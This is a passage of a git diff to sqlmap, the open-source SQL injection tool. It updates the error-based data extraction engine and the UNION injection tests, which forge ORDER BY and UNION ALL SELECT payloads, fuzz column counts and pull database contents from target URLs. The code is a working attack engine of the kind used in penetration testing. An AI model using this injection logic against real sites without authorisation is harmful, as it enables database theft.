"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) + retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal -def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None): - outputs = [] +def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False): + values = [] origExpr = None + width = getConsoleWidth() threadData = getCurrentThreadData() for field in expressionFieldsList: @@ -156,22 +246,30 @@ def __errorFields(expression, expressionFields, expressionFieldsList, expected=N else: expressionReplaced = expression.replace(expressionFields, field, 1) - output = __oneShotErrorUse(expressionReplaced, field) + output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) if not kb.threadContinue: return None - if output is not None and not (threadData.resumed and kb.suppressResumeInfo): - dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output))) + if not any((suppressOutput, kb.bruteMode)): + if kb.fileReadMode and output and output.strip(): + print() + elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): + status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) + + if len(status) > width and not conf.noTruncate: + status = "%s..." % status[:width - 3] + + dataToStdout("%s\n" % status) if isinstance(num, int): expression = origExpr - outputs.append(output) + values.append(output) - return outputs + return values -def __errorReplaceChars(value): +def _errorReplaceChars(value): """ Restores safely replaced characters """ @@ -183,101 +281,60 @@ def __errorReplaceChars(value): return retVal -def errorUse(expression, expected=None, dump=False): +def _formatPartialContent(value): + """ + Prepares (possibly hex-encoded) partial content for safe console output + """ + + if value and isinstance(value, six.string_types): + try: + value = decodeHex(value, binary=False) + except: + pass + finally: + value = safecharencode(value) + + return value + +def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ - initTechnique(PAYLOAD.TECHNIQUE.ERROR) + initTechnique(getTechnique()) abortedFlag = False count = None + emptyFields = [] start = time.time() startLimit = 0 stopLimit = None - output = None - outputs = None - untilLimitChar = None + value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) + # Set kb.partRun in case the engine is called from the API + kb.partRun = getPartRun(alias=False) if conf.api else None + # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one - # entry per time - # NOTE: I assume that only queries that get data from a table can + # entry at a time + # NOTE: we assume that only queries that get data from a table can # return multiple entries - if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ - expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ - or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ - expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): - - limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) - topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) - - if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query - limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query - - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) - - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: - limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query - limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query - - if limitGroupStart.isdigit(): - startLimit = int(limitRegExp.group(int(limitGroupStart))) - - stopLimit = limitRegExp.group(int(limitGroupStop)) - limitCond = int(stopLimit) > 1 - elif topLimit: - startLimit = 0 - stopLimit = int(topLimit.group(1)) - limitCond = int(stopLimit) > 1 - - elif Backend.isDbms(DBMS.ORACLE): - limitCond = False - else: - limitCond = True + if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): + expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) - # I assume that only queries NOT containing a "LIMIT #, 1" - # (or similar depending on the back-end DBMS) can return - # multiple entries if limitCond: - if limitRegExp: - stopLimit = int(stopLimit) - - # From now on we need only the expression until the " LIMIT " - # (or similar, depending on the back-end DBMS) word - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - stopLimit += startLimit - untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) - expression = expression[:untilLimitChar] - - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - stopLimit += startLimit - elif dump: - if conf.limitStart: - startLimit = conf.limitStart - 1 - if conf.limitStop: - stopLimit = conf.limitStop - # Count the number of SQL query entries output - countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) + countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) - if " ORDER BY " in expression: - countedExpression = countedExpression[:countedExpression.index(" ORDER BY ")] + if " ORDER BY " in countedExpression.upper(): + _ = countedExpression.upper().rindex(" ORDER BY ") + countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) - count = __oneShotErrorUse(countedExpression, countedExpressionFields) + count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: @@ -285,91 +342,129 @@ def errorUse(expression, expected=None, dump=False): else: stopLimit = int(count) - infoMsg = "the SQL query used returns " - infoMsg += "%d entries" % stopLimit - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: - outputs = [] # for empty tables - return outputs - - if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: - message = "due to huge table size do you want to remove " - message += "ORDER BY clause gaining speed over consistency? [y/N] " - output = readInput(message, default="N") - - if output and output[0] in ("y", "Y"): - expression = expression[:expression.index(" ORDER BY ")] - - threadData = getCurrentThreadData() - threadData.shared.limits = iter(xrange(startLimit, stopLimit)) - numThreads = min(conf.threads, (stopLimit - startLimit)) - threadData.shared.outputs = BigArray() - - if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: - kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" - logger.debug(debugMsg) - - try: - def errorThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - with kb.locks.limits: - try: - num = threadData.shared.limits.next() - except StopIteration: + value = [] # for empty tables + return value + + if isNumPosStrValue(count) and int(count) > 1: + if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: + message = "due to huge table size do you want to remove " + message += "ORDER BY clause gaining speed over consistency? [y/N] " + + if readInput(message, default='N', boolean=True): + expression = expression[:expression.index(" ORDER BY ")] + + numThreads = min(conf.threads, (stopLimit - startLimit)) + + threadData = getCurrentThreadData() + + try: + threadData.shared.limits = iter(xrange(startLimit, stopLimit)) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) + + threadData.shared.value = BigArray() + threadData.shared.buffered = [] + threadData.shared.counter = 0 + threadData.shared.lastFlushed = startLimit - 1 + threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 + + if threadData.shared.showEta: + threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) + + if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): + for field in expressionFieldsList: + if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': + emptyFields.append(field) + debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) + debugMsg += "dumped as it appears to be empty" + logger.debug(debugMsg) + + if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: + kb.suppressResumeInfo = True + debugMsg = "suppressing possible resume console info because of " + debugMsg += "large number of rows. It might take too long" + logger.debug(debugMsg) + + try: + def errorThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + with kb.locks.limit: + try: + threadData.shared.counter += 1 + num = next(threadData.shared.limits) + except StopIteration: + break + + output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) + + if not kb.threadContinue: break - output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num) - - if not kb.threadContinue: - break - - if output and isinstance(output, list) and len(output) == 1: - output = output[0] - - with kb.locks.outputs: - threadData.shared.outputs.append(output) - - runThreads(numThreads, errorThread) - - except KeyboardInterrupt: - abortedFlag = True - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) - - finally: - outputs = threadData.shared.outputs - kb.suppressResumeInfo = False - - if not outputs and not abortedFlag: - outputs = __errorFields(expression, expressionFields, expressionFieldsList) - - if outputs and isListLike(outputs) and len(outputs) == 1 and isinstance(outputs[0], basestring): - outputs = outputs[0] + if output and isListLike(output) and len(output) == 1: + output = unArrayizeValue(output) + + with kb.locks.value: + index = None + if threadData.shared.showEta: + threadData.shared.progress.progress(threadData.shared.counter) + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, output)) + while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: + threadData.shared.lastFlushed += 1 + threadData.shared.value.append(threadData.shared.buffered[0][1]) + del threadData.shared.buffered[0] + + runThreads(numThreads, errorThread) + + except KeyboardInterrupt: + abortedFlag = True + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warning(warnMsg) + + finally: + threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) + value = threadData.shared.value + kb.suppressResumeInfo = False + + if not value and not abortedFlag: + value = _errorFields(expression, expressionFields, expressionFieldsList) + + if value and isListLike(value): + if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): + value = unArrayizeValue(value) + elif len(value) > 1 and stopLimit == 1: + value = [value] duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.ERROR], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) - return outputs + return value diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index c92713c20bd..d5e8a44df05 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,16 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import itertools +import logging import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend +from lib.core.common import getPublicTypeMembers from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue @@ -19,58 +22,72 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import setTechnique from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev -from lib.core.common import wasLastRequestDBMSError +from lib.core.common import wasLastResponseDBMSError +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import queries +from lib.core.decorators import stackedmethod +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD -from lib.core.settings import FROM_DUMMY_TABLE -from lib.core.settings import UNION_MIN_RESPONSE_CHARS -from lib.core.settings import UNION_STDEV_COEFF -from lib.core.settings import MIN_RATIO +from lib.core.settings import FUZZ_UNION_ERROR_REGEX +from lib.core.settings import FUZZ_UNION_MAX_COLUMNS +from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES +from lib.core.settings import NULL +from lib.core.settings import ORDER_BY_MAX from lib.core.settings import ORDER_BY_STEP +from lib.core.settings import UNION_MIN_RESPONSE_CHARS +from lib.core.settings import UNION_STDEV_COEFF from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request -def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): +def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None - def __orderByTechnique(): - def __orderByTest(cols): + @stackedmethod + def _orderByTechnique(lowerCount=None, upperCount=None): + def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - return not re.search(r"(warning|error|order by)", page or "", re.I) and comparison(page, headers) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None - if __orderByTest(1) and not __orderByTest(randomInt()): - infoMsg = "ORDER BY technique seems to be usable. " + if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): + infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) - lowCols, highCols = 1, ORDER_BY_STEP + lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: - if __orderByTest(highCols): + if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP + + if highCols > ORDER_BY_MAX: + break else: while not found: - mid = highCols - (highCols - lowCols) / 2 - if __orderByTest(mid): + mid = highCols - (highCols - lowCols) // 2 + if _orderByTest(mid): lowCols = mid else: highCols = mid @@ -79,215 +96,305 @@ def __orderByTest(cols): return found - pushValue(kb.errorIsNone) - items, ratios = [], [] - kb.errorIsNone = False - lowerCount, upperCount = conf.uColsStart, conf.uColsStop + try: + pushValue(kb.errorIsNone) + items, ratios = [], [] + kb.errorIsNone = False + lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if lowerCount == 1: - found = kb.orderByColumns or __orderByTechnique() - if found: - kb.orderByColumns = found - infoMsg = "target url appears to have %d columns in query" % found - singleTimeLogMessage(infoMsg) - return found + if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof + found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() - if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: - upperCount = lowerCount + MIN_UNION_RESPONSES + if found: + kb.orderByColumns = found + infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") + singleTimeLogMessage(infoMsg) + return found + elif kb.futileUnion: + return None - min_, max_ = MAX_RATIO, MIN_RATIO - pages = {} + if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: + upperCount = lowerCount + MIN_UNION_RESPONSES + + min_, max_ = MAX_RATIO, MIN_RATIO + pages = {} + + for count in xrange(lowerCount, upperCount + 1): + query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + + if not isNullValue(kb.uChar): + pages[count] = page + + ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO + ratios.append(ratio) + min_, max_ = min(min_, ratio), max(max_, ratio) + items.append((count, ratio)) - for count in xrange(lowerCount, upperCount+1): - query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): - pages[count] = page - ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO - ratios.append(ratio) - min_, max_ = min(min_, ratio), max(max_, ratio) - items.append((count, ratio)) - - if not isNullValue(kb.uChar): - for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): - contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] - if len(filter(lambda x: x[1], contains)) == 1: - retVal = filter(lambda x: x[1], contains)[0][0] - break + value = re.escape(kb.uChar.strip("'")) + for regex in (value, r'>\s*%s\s*<' % value): + contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] + if len(contains) == 1: + retVal = contains[0] + break + + if not retVal: + if min_ in ratios: + ratios.pop(ratios.index(min_)) + if max_ in ratios: + ratios.pop(ratios.index(max_)) + + minItem, maxItem = None, None + + for item in items: + if item[1] == min_: + minItem = item + elif item[1] == max_: + maxItem = item + + if all(_ == min_ and _ != max_ for _ in ratios): + retVal = maxItem[0] + + elif all(_ != min_ and _ == max_ for _ in ratios): + retVal = minItem[0] + + elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: + deviation = stdev(ratios) - if not retVal: - ratios.pop(ratios.index(min_)) - ratios.pop(ratios.index(max_)) + if deviation is not None: + lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - minItem, maxItem = None, None + if min_ < lower: + retVal = minItem[0] - for item in items: - if item[1] == min_: - minItem = item - elif item[1] == max_: - maxItem = item + if max_ > upper: + if retVal is None or abs(max_ - upper) > abs(min_ - lower): + retVal = maxItem[0] + finally: + kb.errorIsNone = popValue() + + if retVal: + infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal + singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) - if all(map(lambda x: x == min_ and x != max_, ratios)): - retVal = maxItem[0] + return retVal - elif all(map(lambda x: x != min_ and x == max_, ratios)): - retVal = minItem[0] +def _fuzzUnionCols(place, parameter, prefix, suffix): + retVal = None - elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: - deviation = stdev(ratios) - lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation + if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: + comment = queries[Backend.getIdentifiedDbms()].comment.query - if min_ < lower: - retVal = minItem[0] + choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) + random.shuffle(choices) - if max_ > upper: - if retVal is None or abs(max_ - upper) > abs(min_ - lower): - retVal = maxItem[0] + for candidate in itertools.product(choices, repeat=kb.orderByColumns): + if retVal: + break + elif FUZZ_UNION_COLUMN.STRING not in candidate: + continue + else: + candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] - kb.errorIsNone = popValue() + query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) + query = agent.suffixQuery(query, suffix=suffix, comment=comment) + payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) - if retVal: - infoMsg = "target url appears to be UNION injectable with %d columns" % retVal - singleTimeLogMessage(infoMsg) + if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): + for column in candidate: + if column.startswith("'") and column.strip("'") in (page or ""): + retVal = [(_ if _ != column else "%s") for _ in candidate] + break return retVal -def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): +def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None - positions = range(0, count) + positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) - # For each column of the table (# of NULL) perform a request using - # the UNION ALL SELECT statement to test it the target url is - # affected by an exploitable inband SQL injection vulnerability - for position in positions: - # Prepare expression with delimiters - randQuery = randomStr(UNION_MIN_RESPONSE_CHARS) - phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) - randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) - randQueryUnescaped = unescaper.unescape(randQueryProcessed) - - # Forge the inband SQL injection request - query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - - # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") - - if content and phrase in content: - validPayload = payload - kb.unionDuplicates = content.count(phrase) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates) - - if where == PAYLOAD.WHERE.ORIGINAL: - # Prepare expression with delimiters - randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS) - phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) - randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) - randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) - - # Confirm that it is a full inband SQL injection - query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - - # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") - - if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates) - - unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError() - - if unionErrorCase and count > 1: - warnMsg = "combined UNION/error-based SQL injection case found on " - warnMsg += "column %d. sqlmap will try to find another " % (position + 1) - warnMsg += "column with better characteristics" - logger.warn(warnMsg) - else: - break + for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): + if vector: + break + + # For each column of the table (# of NULL) perform a request using + # the UNION ALL SELECT statement to test it the target URL is + # affected by an exploitable union SQL injection vulnerability + for position in positions: + # Prepare expression with delimiters + randQuery = randomStr(charCount) + phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() + randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) + randQueryUnescaped = unescaper.escape(randQueryProcessed) + + # Forge the union SQL injection request + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + + # Perform the request + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() + + if content and phrase in content: + validPayload = payload + kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) + + if where == PAYLOAD.WHERE.ORIGINAL: + # Prepare expression with delimiters + randQuery2 = randomStr(charCount) + phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() + randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) + randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) + + # Confirm that it is a full union SQL injection + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + + # Perform the request + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() + + if not all(_ in content for _ in (phrase, phrase2)): + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) + elif not kb.unionDuplicates: + fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) + + # Check for limited row output + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + + # Perform the request + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() + if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: + warnMsg = "output with limited number of rows detected. Switching to partial mode" + logger.warning(warnMsg) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) + + unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() + + if unionErrorCase and count > 1: + warnMsg = "combined UNION/error-based SQL injection case found on " + warnMsg += "column %d. sqlmap will try to find another " % (position + 1) + warnMsg += "column with better characteristics" + logger.warning(warnMsg) + else: + break return validPayload, vector -def __unionConfirm(comment, place, parameter, prefix, suffix, count): +def _unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None - # Confirm the inband SQL injection and get the exact column + # Confirm the union SQL injection and get the exact column # position which can be used to extract data - validPayload, vector = __unionPosition(comment, place, parameter, prefix, suffix, count) + validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) - # Assure that the above function found the exploitable full inband + # Assure that the above function found the exploitable full union # SQL injection position if not validPayload: - validPayload, vector = __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) + validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector -def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): +def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ - This method tests if the target url is affected by an inband + This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None + orderBy = kb.orderByColumns + uChars = (conf.uChar, kb.uChar) + where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: - count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) + count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: - validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count) + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) + + if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): + 